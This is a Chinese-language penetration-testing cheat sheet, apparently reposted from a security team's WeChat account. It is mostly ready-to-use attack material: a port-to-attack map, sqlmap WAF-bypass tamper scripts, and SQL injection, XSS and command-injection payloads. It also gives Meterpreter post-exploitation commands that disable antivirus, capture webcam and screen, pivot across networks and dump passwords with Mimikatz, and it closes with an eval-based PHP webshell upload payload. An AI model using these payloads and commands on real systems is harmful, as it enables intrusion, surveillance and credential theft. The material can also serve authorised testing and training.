端口号 端口说明 攻击方向
21/22/69 ftp/tftp文件传输协议 允许匿名的上传下载、爆破和嗅探操作
2049 nfs服务 配置不当
139 samba服务 爆破、未授权访问、远程代码执行
389 ldap目录访问协议 注入、允许匿名访问、弱口令
22 SSH远程连接 爆破、ssh隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
3389 rdp远程桌面连接 shift后门(需要Windows server 2003及以下的系统)、爆破
5900 vnc 弱口令爆破
5632 pyanywhere 抓密码、代码执行
80/443/8080 常见的web服务端口 web攻击、爆破、对应服务器版本漏洞
7001/7002 weblogic控制台 java反序列化、弱口令
8080/8089 jboss/resin/jetty/jenkins 反序列化、控制台弱口令
9090 websphere控制台 java反序列化、弱口令
4848 glassfish控制台 弱口令
1352 lotusdomain邮件服务 弱口令、信息泄露、爆破
10000 webmin-web控制面板 弱口令
3306 MySQL数据库 注入、提权、爆破
1433 mssql数据库 注入、提权、SA弱口令、爆破
1521 Oracle数据库 tns爆破、注入、反弹shell
5432 postgreSQL 爆破、注入、弱口令
27017/27018 mongodb 爆破、未授权访问
6379 Redis数据库 可尝试未授权访问、弱口令爆破
5000 sysbase/db2数据库 爆破、注入
25 smtp邮件服务 邮件伪造
110 pop3协议 爆破、嗅探
143 IMAP协议 爆破
53 DNS域名系统 允许区域传送、DNS劫持、缓存投毒、欺骗
67/68 DHCP服务 劫持、欺骗
161 SNMP协议 爆破、搜集目标内网信息
2181 zookeeper服务 未授权访问
8069 zabbix服务 远程执行、SQL注入
9200/9300 elasticsearch服务 远程执行
11211 memcache服务 未授权访问
512/513/514 linux rexec服务 匿名访问、文件上传
3690 SVN服务 SVN泄露、未授权访问
50000 SAP management console 远程执行
dedecms(织梦)、discuz、phpweb、phpwind、phpcms、ecshop、dvbbs、siteweaver、aspcms、帝国、z-blog、WordPress等
御剑web指纹识别、whatweb、webrobo、椰树、轻量web指纹识别等
-r dir/1.txt选项用来判断请求中是否存在注入(一般在存在cookie注入时使用)
--users当当前用户有权限读取包含所有用户的表的权限时,可以列出所有管理用户
--identify-waf识别waf
--current-db获取网站数据库的名称
--current-user获取当前网站数据库的用户名称
--is-dba检测当前用户是否为管理权限
--roles列出数据库管理员角色
--refererHTTPreferer头,sqlmap可以再请求中伪造HTTP中的Referer,当--level参数设定为3或3以上时,会尝试对Referer注入。可以使用Referer命令来欺骗,如--referer http://www.baidu.com
--sql-shell运行自定义SQL语句
--os-cmd,--os-shell运行任意操作系统命令
--os-shell参数可以模拟一个真实的shell,输入想要执行的命令。当不能执行多语句时(比如PHP或asp的后端数据库为MySQL),仍然可以使用into outfile写进可写目录,创建一个web后门。--os-shell支持asp、asp.net、jsp和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。
--file-read从数据库服务器中读取文件,该命令用于读取执行文件,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件例如:
--file-read "c:/example.exe" -v 1
--file-write,--file-dest上传文件到数据库服务器中
--file-write "/software/nc.exe.packed" --file-dest "c:windows/temp/nc.exe" -v 1
--tamper=11.py选择相应的脚本来绕过waf等设备
apostrophemask.py 将引号替换为utf-8,用于过滤单引号
1 and'1'='1 使用脚本后语句为:1and%EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py 替换为base64编码
1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py 围绕SQL关键字添加过个空格
1 UNION SELECT foobar => 1 UNION SELECT foobar
space2plus.py 用+号替换空格
SELECT id FROM users => SELECT+id+FROM+users
space2randomblank.py 将空格替换为其他有效字符
SELECT id FROM users => SELECT%0Did%0DFROM%0Dusers
unionalltounion.py 将UNION ALL SELECT替换为UNION SELECT
-1 UNION ALL SELECT => -1 UNION SELECT
space2hash.py 将空格替换为#号,并添加一个随机字符串和换行符
1 AND 9227=9227 => 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
space2mssqlblank.py(mssql) 将空格替换为其他空符号
SELECT id FROM users => SELECT%0Eid%0DFROM%07users
space2mssqlhash.py 将空格替换为#号,并添加一个换行符
1 AND 9227=9227 => 1%23%0AAND%23%0A9227=9227
between.py 用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND 替换等号(=)。
percentage.py ASP允许在每个字符前面添加一个%号
SELECT FIELD FROM TABLE=>%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E
sp_password.py 从DBMS日志的自动模糊处理的有效载荷中追加sp_password
1 AND 9=9- => 1 AND 9=9--sp_password
charencode.py 对给定的payload全部字符使用URL编码(不处理已编码的字符)
randomcase.py 随机大小写
charunicodeencode.py 字符串unicode编码
space2comment.py 将空格替换为/**/
equaltolike.py 将等号替换为like
id=1 => id LIKE 1
greatest.py 绕过对">"的过滤,用GREATEST替换大于号。
A>B => GREATEST(A,B+1)=A 测试通过的数据库类型和版本:
MySQL4、MySQL5.0和MySQL5.5
Oracle 10g
PostgreSQL8.3、PostgreSQL8.4和PostgreSQL9.0
ifnull2ifisnull.py 绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)。
测试通过的数据库类型和版本为MySQL5.0和MySQL5.5
modsecurityversioned.py 过滤空格,使用MySQL内联注释的方式进行注入。
1 AND 2>1- => 1 /*!30874AND 2>1*/-
测试通过的数据库类型和版本为MySQL5.0
space2mysqlblank.py 将空格替换为其他空白符号(适用于mysql)
SELECT id FROM users => SELECT%A0id%0BFROM%0Cusers
测试通过的数据库类型和版本为MySQL5.1
modsecurityzeroversioned.py 使用MySQL内联注释的方式(/*! 00000*/)进行注入。
1 AND 2>1- => 1 /*! 00000AND 2>1*/-
测试通过的数据库类型和版本为MySQL5.0
space2mysqldash.py 将空格替换为--,并添加一个换行符。
1 AND 2=2 => 1--%0AAND--%0A2=2
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。%09替换空格。
测试通过的数据库类型和版本为MySQL5.1和SGOS
versionedkeywords.py 注释绕过
UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))#
=>/*!UNION**! ALL**! SELECT**! NULL*/,/*!NULL*/,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()/*!AS **!CHAR*/),CHAR(32)),CH/**/AR(58,100,114,117,58))#
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,在每个关键字之前添加MySQL版本注释。及,在关键字之前添加"/*!0"
测试通过的数据库类型和版本为MySQL4.0.18和MySQL5.0.22
space2morehash.py 将空格替换为#号,并添加一个随机字符串和换行符
测试通过的数据库类型和版本为MySQL5.1.41
apostrophenullencode.py 用非法字符串Unicode字符替换单引号
' => %00%27
appendnullbyte.py 在有效负荷的结束位置加载零字节字符编码
and 1=1 => and 1=1%00
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
1‘ AND 1=1 => 1%bf%27-
randomcomments.py 用/**/分割SQL关键字
INSERT => IN/**/S/**/ERT
sqlmap使用的时候,当注入点后面的参数大于等于两个时,-u选项后面的URL需要加双引号。
SQLMAP自带的tamper并非全能,需要自己了解编写规则,从容面对不同环境。
burp具有主动扫描和被动扫描两种功能。两种方式各有千秋。
sniper模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行fuzzging测试的情景。攻击中的请求总数应该是position数量和payload数量的乘积。 (单个参数挨个来,多个参数也是挨个来)
Battering ram模式使用单一的payload组。它会重复payload并一次性把所有相同的payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是payload组中payload的总数。(单个参数挨个来,多个参数一起爆破)
pitchfork模式使用多个payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的payload组中的payload数量。(payload并排组合爆破,按照最小的payload数量执行)
cluster bomb模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各payload组中payload数量的乘积。(payload交叉组合爆破)
nmap完整的扫描命令:nmap -T4 -A -v 1.1.1.1
nmap 1.1.1.1 1.1.1.9
nmap 1.1.1.1-9
nmap 1.1.1.0/24 --exclude 1.1.1.4
nmap 1.1.1.0/24 --excludefile dir\6.txt
nmap 1.1.1.1 -p21,22,23,80
nmap -sP 1.1.1.0/24查看目标地址C段的在线情况
nmap -sF -T4 1.1.1.1探测防火墙状态
nmap的scripts脚本主要分为以下几类:
auth:负责处理鉴权证书(绕过鉴权)
broadcast:在局域网内探查更多服务
brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP等
default:使用-sC或-A选项扫描时默认的脚本,提供基本的脚本扫描能力
discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等
Dos:用于进行拒绝服务攻击。
exploit:利用已知的漏洞入侵系统。
external:利用第三方的数据库或资源。例如,进行Whois解析。
Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。
Intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽。
Malware:探测目标机是否感染了病毒、开启后门等信息。
Safe:此类与intrusive相反,属于安全性脚本。
Version:负责增强服务与版本扫描功能的脚本。
Vuln:负责检查目标机器是否有常见漏洞,如MS09-067
-sC 使用默认脚本进行扫描
--script=<Lua scripts>:等于号后面跟文件名,用改脚本进行扫描
--script-args=key1=value1,key2=value2...该参数用于传递脚本里的参数,key1是参数名,改参数对应value1这个值。如果有更多的参数,使用逗号连接。
--script-args-file=filename使用文件为脚本提供参数。
--script-trace如果设置该参数,则显示脚本执行过程中发送与接收的数据。
--script-updatedb在nmap的scripts目录里有一个script.db文件,改文件保存了当前nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并调用了此参数,则nmap会自行进行扫描scripts目录中的扩展脚本,进行数据库更新。
--script-help调用该参数后,nmap会输出该脚本对应的脚本使用参数,以及详细的介绍信息
nmap --script=auth 192.168.0.16 对目标主机或目标主机所在的网段进行应用弱口令检测
nmap --script=brute 192.168.0.16 nmap具有暴力破解的功能,可以对数据库、SMB、SNMP等进行简单密码的暴力破解。
nmap --script=vuln 192.168.0.16 nmap具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。
nmap --script=realvnc-auth-bypass 100.64.0.1 nmap具备很多常见应用服务的扫描脚本,例如VNC服务、MySQL服务/telnet服务、Rsync服务,此处以VNC服务为例。
nmap -n -p445 --script=broadcast 100.64.0.1该命令可探测局域网内更多服务开启的情况。
nmap --script external bing.comwhois解析利用第三方的数据库或资源查询目标地址的信息。
https://nmap.org/nsedoc/categories/官网扫描脚本的使用方法
MySQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES、和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库的库名。记录库名的字段是SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名。记录数据库库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COMUMN_NAME。
limit(m,n):表示从第一条(行)记录开始,取一条记录。
database():当前网站使用的数据库
version():当前MySQL的版本
user():当前MySQL的用户
MySQL中的注释:#、-- (及横横空格)、/**/
内联注释:/*! code*/
内联注释可以用于整个SQL语句中,用来执行我们的SQL语句
?id=-15 /*! UNION*//*! SECECT*/1,2,3
UNION注入攻击
判断注入点、order by判断字段数、union select 1,2,3(由于代码只返回第一条结果,我们可以让前面报错来正确的显示输出点:id=-1)
详情可见zk教程
Boolean注入
页面只进行正确或错误的返回,无法使用union注入攻击。
Boolean注入通过查看页面的返回结果来推测那些SQL判断条件是成立的,以此获取数据库中的数据。判断数据库名的长度为例:'and length(database())>=1--+
可以在burp中抓取对应的数据包来跑数字,进行猜解。
报错注入
返回的内容在错误消息中。
时间注入攻击
他与Boolean注入的不同之处在于,时间注入是利用sleep()、huobenchmark()等函数让MySQL的执行时间变长。
堆叠查询注入攻击
堆叠查询可以执行多条语句,多条语句之间以分号隔开
id=1';select if (ord(substring(user(),1,1))=114,sleep(3),1);%23
二次注入攻击
a文件的传参过后会得到一个id值,b文件中传入该id值,正确回显注入的信息。
宽字节注入攻击
数据库的编码是gbk时才可用,吃掉/即可:id=1%df'and 1=1%23
需要使用单引号的未知中采用嵌套查询。避免出现单引号。
PHP中通过iconv()进行编码转换时,也可能存在宽字节注入漏洞。
cookie注入攻击
URL中没有get参数,但是页面返回正常,使用burp suite抓取数据包,发现cookie中存在id=1的参数。注入就开始了
base64注入攻击
%3d是=的url编码
id的传参经过base64编码,需要解码查看其中的内容
注入时对传参进行相应的编码即可
XFF注入攻击
抓包发现HTTP请求头中有XFF头。将XFF改为127.0.0.1访问发现页面正常。127.0.0.1'and 1=1#正常、127.0.0.1'and 1=2#错误,说明存在注入
大小写绕过注入(查询字段被拦截时可以采用大写的方式来绕过)
双写绕过and 1=1变成1=1,and被过滤了用anandd 1=1发现可以
URL全编码绕过(进行两次编码的意思)
内联注释绕过id=1 /*! and*/1=1
DOM型XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
XSS常用测试语句:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
常见的XSS的绕过编码又JS编码,HTML编码和URL编码。
Windows支持的管道符如下:
|:直接执行后面的语句。例如:ping 127.0.0.1|whoami
||:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 1||whoami
&:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 119.29.29.29&whoami。
&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
Linux支持的管道符如下:
;:执行完前面的语句再执行后面的。例如:ping 119.29.29.29;whoami
|:先师后面语句的执行结果。例如:ping 119.29.29.29|whoami
||:当前面的语句执行出错时,执行后面的语句。例如:ping 9||whoami
&:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 119.29.29.29&whoami。
&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
WAF基本上可以分为以下几类:软件型WAF、硬件型WAF、云WAF、网站系统内置的WAF。
绕过WAF的方式:
1、大小写混合(现在几乎没有这样的情况)
2、URL编码(目标web系统的代码中如果进行额外的URL解码,即可进行URL二次编码绕过)、
3、替换关键字,及双写关键字。unuionion selselectect
4、使用注释,用注释来替代空格。内联注释绕过也可以。比如:union/*233*/select/*wocao*/1,2,3
5、多参数请求拆分。and a=union/*and b=*/select 1,2,3
6、HTTP参数污染。HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果。
7、生僻函数。例如在报错注入中使用polygon()函数替换常用的updatexml()函数。
8、寻找网站源站IP。通过IP访问网站,就可以绕过云waf的检测。
9、注入参数到cookies中。cookie有时不会检测。
auxiliaries(辅助模块)
exploit(漏洞利用模块)
payload(攻击载荷模块)
post(后期渗透模块)
encoders(编码工具模块)
meterpreter刚刚获取shell时,该shell是极其脆弱和易受攻击的,进行进程迁移可以使渗透更难被检测到。
run post/windows/manage/migrate自动迁移进程
sysinfo查看目标机的系统信息
run post/windows/gather/checkvm检查目标机是否运行在虚拟机上
idletime可以看到目标机最近的运行时间
route查看目标机完整的网络设置
background将当前会话放到后台
getuid查看当前目标机器上已经渗透成功的用户名
getsystem进行提权
run post/windows/manage/killav关闭目标系统杀毒软件
run post/windows/manage/enable_rdp启动目标机的远程桌面协议
run post/windows/manage/autoroute查看目标机的本地子网情况
background会话隐藏在后台
route add 1.1.1.1 255.255.255.0 1将上述查看的网段添加到路由
route print查看路由是否添加成功。接着就可以攻击其他网络了
run post/windows/gather/enum_logged_on_users列举当前有多少用户登录了目标机。
run post/windows/gather/enum_applications列举目标机上的安装程序
load espia 加载插件
screengrab 抓取此时目标机的屏幕截图
screenshot 也可以达到同样的效果
webcam_list查看目标机是否有摄像头
webcam_snap打开目标机摄像头,拍一张照片
webcam_stream开启直播模式
shell进入目标机的shell下面
pwd查看当前处于目标机的哪个目录
getlwd查看当前处于本地的哪个目录
search -f *.txt -d c:\搜索C盘中所有以.txt为扩展名的文件
download c:\test.txt /root下载C盘的test.txt文件到攻击机root目录下
upload /root/test.txt c:\上传文件到目标机器
XP下低权限用户是不能使用WMIC命令的,但是在Windows7和8下,低权限用户可以使用wmic,且不用更改任何设置。
quarks pwdump抓取密码
Windows Credentials Editor强大的Windows平台内网渗透工具也可以抓取密码
Mimikatz抓取密码 Windows2000与WindowsXP下无法使用,默认直接加载一个32位的版本,系统为64位时,需要将其嵌入到一个64位程序的进程中。
mimkatz_command选项可以让我们使用mimikatz的全部功能,需要通过加载一个错误的模块得到可用模块的完整列表。
msv抓取系统hash值
kerberos抓取系统票据
wdigest获取系统账户信息
Cymothoa是一款可以将shellcode注入现有进程(即插进程)的后门工具。
Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用它创建注册和文件。
利用burp的repeater模块可以根据返回包获取一些服务器的信息。
社会工程学在渗透测试中起着不小的作用。
子域名搜集工具
Layer子域名挖掘机、sublist3r、subDomainsBrute
除了nmap、masscan、zmap之外,御剑也可以进行tcp端口扫描工具。
dirbuster推荐线程在20-30之间,太大容易死机
:/admin/{dir}.php 扫描admin目录下的PHP文件
/{dir} 扫描根目录下所有文件
lamp默认凭证:8080端口,adminwdlinux.cn
CSRF也被称为One Click Attac或者Session Riding,通常缩写为CSRF或者XSRF
Linux合并图片和webshell的命令如下:
cat image.png webshell.php>image.php
文件后缀绕过、文件类型绕过、文件截断绕过(条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。)
条件竞争的条件:一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差。
条件竞争的payload:
<?php
fpute(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>');
?>
PHP中可以执行系统命令的函数如下:
system、exec、shell_exec、passthru、proc_popen等。
本文分享自 WhITECat安全团队 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!